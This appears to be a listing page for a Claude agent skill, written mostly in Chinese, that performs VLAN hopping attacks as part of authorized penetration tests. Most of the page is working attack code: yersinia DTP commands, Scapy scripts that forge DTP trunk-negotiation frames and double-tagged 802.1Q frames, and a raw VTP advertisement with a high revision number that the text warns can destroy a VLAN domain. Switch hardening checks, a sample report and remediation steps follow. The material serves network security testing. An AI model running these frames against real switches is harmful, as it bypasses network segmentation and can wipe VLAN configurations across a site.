Simulates VLAN hopping attacks via switch spoofing (DTP) and double tagging to test VLAN segmentation and switch port security against layer 2 bypasses in authorized pentests.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersecurity-skills-zh:performing-vlan-hopping-attackThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
- 在授权渗透测试中测试基于 VLAN 的网络分段有效性
不要在未获明确授权和变更管理批准的生产交换机上使用,不要针对无安全控制的关键基础设施 VLAN(SCADA、医疗设备),不要将其用作拒绝服务攻击手段。
# 识别攻击者端口的当前 VLAN 分配
ip link show eth0
cat /proc/net/vlan/config 2>/dev/null
# 使用 CDP/LLDP 发现交换机信息
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether proto 0x88cc' 2>/dev/null
# 或使用 lldpd
lldpcli show neighbors
# 若启用了 CDP,捕获 CDP 帧
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
# 使用 Yersinia 发现 DTP 和 VTP 信息
sudo yersinia -G &
# 或命令行方式:
sudo yersinia dtp -attack 0 -interface eth0
# 监听 DTP 帧以获取中继协商状态
# 使用 Nmap 识别其他 VLAN 上的主机(若存在路由)
nmap -sn 10.10.10.0/24 10.10.20.0/24 10.10.30.0/24
# 使用 Yersinia 发送 DTP 帧并协商中继
sudo yersinia dtp -attack 1 -interface eth0
# 发送 DTP Desirable 帧将接入端口转换为中继端口
# 若成功,该端口将成为承载所有 VLAN 的中继端口
# 也可使用 Scapy 构造 DTP 帧
python3 << 'PYEOF'
from scapy.all import *
from scapy.contrib.dtp import *
# 发送 DTP Desirable 帧协商中继
dtp_frame = (
Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
SNAP(OUI=0x00000c, code=0x2004) /
DTP(tlvlist=[
DTPDomain(type=0x0001, domain=""),
DTPStatus(type=0x0002, status=b"\x03"), # Desirable
DTPType(type=0x0003, dtptype=b"\xa5"), # 802.1Q trunk
DTPNeighbor(type=0x0004, neighbor=get_if_hwaddr("eth0"))
])
)
sendp(dtp_frame, iface="eth0", count=10, inter=1)
print("[*] DTP Desirable 帧已发送,检查是否协商为中继端口。")
PYEOF
# 若中继协商成功,捕获标签帧进行验证
sudo tcpdump -en -i eth0 'vlan' -c 10
# 创建 VLAN 子接口以访问其他 VLAN
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip addr add 10.10.10.99/24 dev eth0.10
sudo ip link set eth0.10 up
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip addr add 10.10.20.99/24 dev eth0.20
sudo ip link set eth0.20 up
# 验证对其他 VLAN 的访问
ping -c 3 10.10.10.1
ping -c 3 10.10.20.1
# 双标签攻击的前提条件:
# 1. 攻击者位于干道的本征 VLAN
# 2. 目标 VLAN 与本征 VLAN 不同
# 3. 交换机剥离外层标签并转发带内层标签的帧
python3 << 'PYEOF'
from scapy.all import *
# 构造双标签帧
# 外层标签:本征 VLAN(如 VLAN 1)
# 内层标签:目标 VLAN(如 VLAN 20 - 服务器 VLAN)
target_ip = "10.10.20.10"
target_mac = "ff:ff:ff:ff:ff:ff"
double_tagged = (
Ether(dst=target_mac, src=get_if_hwaddr("eth0")) /
Dot1Q(vlan=1) / # 外层标签:本征 VLAN(将被剥离)
Dot1Q(vlan=20) / # 内层标签:目标 VLAN(将被转发)
IP(dst=target_ip, src="10.10.20.99") /
ICMP(type=8) # Echo request
)
# 发送双标签帧
sendp(double_tagged, iface="eth0", count=5, inter=1)
print("[*] 已发送针对 VLAN 20 的双标签帧")
print("[!] 注意:双标签攻击为单向攻击——预期不会收到响应")
PYEOF
# 使用 frogger 进行自动化 VLAN 跳转
# frogger 会识别本征 VLAN 并尝试双标签攻击
sudo frogger
# 在目标 VLAN 的监控端口上使用 Wireshark 验证
tshark -i eth1 -Y "vlan.id == 20 and icmp" -c 10
python3 << 'PYEOF'
from scapy.all import *
# 构造带高修订号的 VTP 摘要通告
# 警告:若成功,可能破坏整个 VLAN 域
vtp_frame = (
Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
SNAP(OUI=0x00000c, code=0x2003) /
Raw(load=bytes([
0x02, # 版本 2
0x01, # 摘要通告
0x00, # Followers
0x06, # 域名长度
0x54, 0x45, 0x53, 0x54, # 域名:"TEST"
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xFF, 0xFF, # 高修订号
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, # MD5 摘要(实验室环境使用全零)
]))
)
# 仅在授权实验室环境中发送
sendp(vtp_frame, iface="eth0", count=1)
print("[*] VTP 摘要通告已发送")
PYEOF
# 在交换机上(具有读取权限),检查错误配置:
# 检查接入端口的 DTP 状态(应为 nonegotiate)
# show interfaces <interface> switchport
# 预期:Administrative Mode: static access
# Negotiation of Trunking: Off
# 检查本征 VLAN 配置(不应为 VLAN 1)
# show interfaces trunk
# 预期:Native VLAN 不与任何用户 VLAN 匹配
# 检查 VTP 模式(应为 transparent 或 off)
# show vtp status
# 预期:VTP Mode: Transparent
# 检查未使用端口是否已禁用
# show interfaces status | include disabled
# 验证是否启用了端口安全
# show port-security
# 清理 VLAN 子接口
sudo ip link del eth0.10 2>/dev/null
sudo ip link del eth0.20 2>/dev/null
# 停止所有正在运行的攻击工具
sudo killall yersinia 2>/dev/null
# 记录所有带时间戳的测试结果
cat > vlan_hopping_report.txt << 'EOF'
VLAN 跳转测试结果
==================
测试日期:$(date)
测试人员:安全评估团队
授权文件:PENTEST-2024-0847
测试 1:DTP 交换机欺骗
结果:存在漏洞 - 3 秒内协商为中继端口
获取访问:VLAN 1, 10, 20, 30, 40
测试 2:双标签攻击
结果:存在漏洞 - 帧从 VLAN 1 到达 VLAN 20
注意:仅单向(无返回流量)
测试 3:VTP 攻击
结果:未测试 - VTP 处于透明模式
EOF
| 术语 | 定义 |
|---|---|
| VLAN 跳转(VLAN Hopping) | 允许攻击者访问未授权 VLAN 流量的二层攻击技术,可绕过网络分段 |
| DTP(动态中继协议) | Cisco 专有协议,自动在交换机间协商中继链路;接入端口未禁用时易受欺骗攻击 |
| 双标签(Double Tagging) | 使用两个 802.1Q 标签封装帧的攻击,利用交换机的本征 VLAN 处理机制将内层标签帧转发到不同 VLAN |
| 本征 VLAN(Native VLAN) | 分配给干道端口未标签帧的 VLAN;当本征 VLAN 与用户 VLAN 相同时,可启用双标签攻击 |
| VTP(VLAN 中继协议) | Cisco 协议,用于在交换机间传播 VLAN 数据库变更;在服务器模式下,带更高修订号的流氓 VTP 消息可覆盖 VLAN 数据库 |
| 802.1Q | IEEE VLAN 标签标准,在以太网帧中插入 4 字节标签,用于在干道链路上标识 VLAN 成员 |
背景:零售商需要验证 VLAN 50 上的持卡人数据环境(CDE)是否已与企业网络(VLAN 10)和访客 WiFi(VLAN 30)正确隔离。网络使用带 802.1Q 中继的 Cisco Catalyst 交换机。评估授权从 VLAN 10 的端口进行测试。
方法:
注意事项:
## VLAN 跳转评估报告
**测试编号**:VLAN-HOP-2024-001
**被测交换机**:Core-SW1(Cisco Catalyst 9300)
**攻击者端口**:Gi1/0/24(VLAN 10)
**目标 VLAN**:VLAN 20(服务器),VLAN 50(CDE)
### 测试结果
| 攻击 | 目标 VLAN | 结果 | 影响 |
|------|-----------|------|------|
| DTP 交换机欺骗 | 所有 VLAN | 存在漏洞 | 获得完整中继访问 |
| 双标签攻击 | VLAN 50 | 存在漏洞 | 单向访问 CDE |
| VTP 注入 | N/A | 无漏洞 | VTP 透明模式 |
### 根本原因
1. 接入端口 Gi1/0/24 未禁用 DTP(管理模式:dynamic auto)
2. 所有干道链路的本征 VLAN 为 VLAN 1(默认值)
3. 交换机上未关闭的空闲端口
### 修复建议
1. 在所有接入端口禁用 DTP:`switchport nonegotiate`
2. 将所有接入端口设为静态模式:`switchport mode access`
3. 将本征 VLAN 更改为未使用的 VLAN:`switchport trunk native vlan 999`
4. 关闭所有未使用端口:`shutdown`
5. 在接入端口启用端口安全
6. 在所有交换机上将 VTP 设为透明模式
npx claudepluginhub killvxk/cybersecurity-skills-zhSimulates VLAN hopping attacks via switch spoofing and double tagging to test VLAN segmentation and switch port security in authorized environments.
Simulates VLAN hopping attacks using switch spoofing and double tagging to test VLAN segmentation effectiveness and switch port security in authorized pentests.
Simulates VLAN hopping attacks (switch spoofing, double tagging) to test VLAN segmentation and switch port security in authorized environments.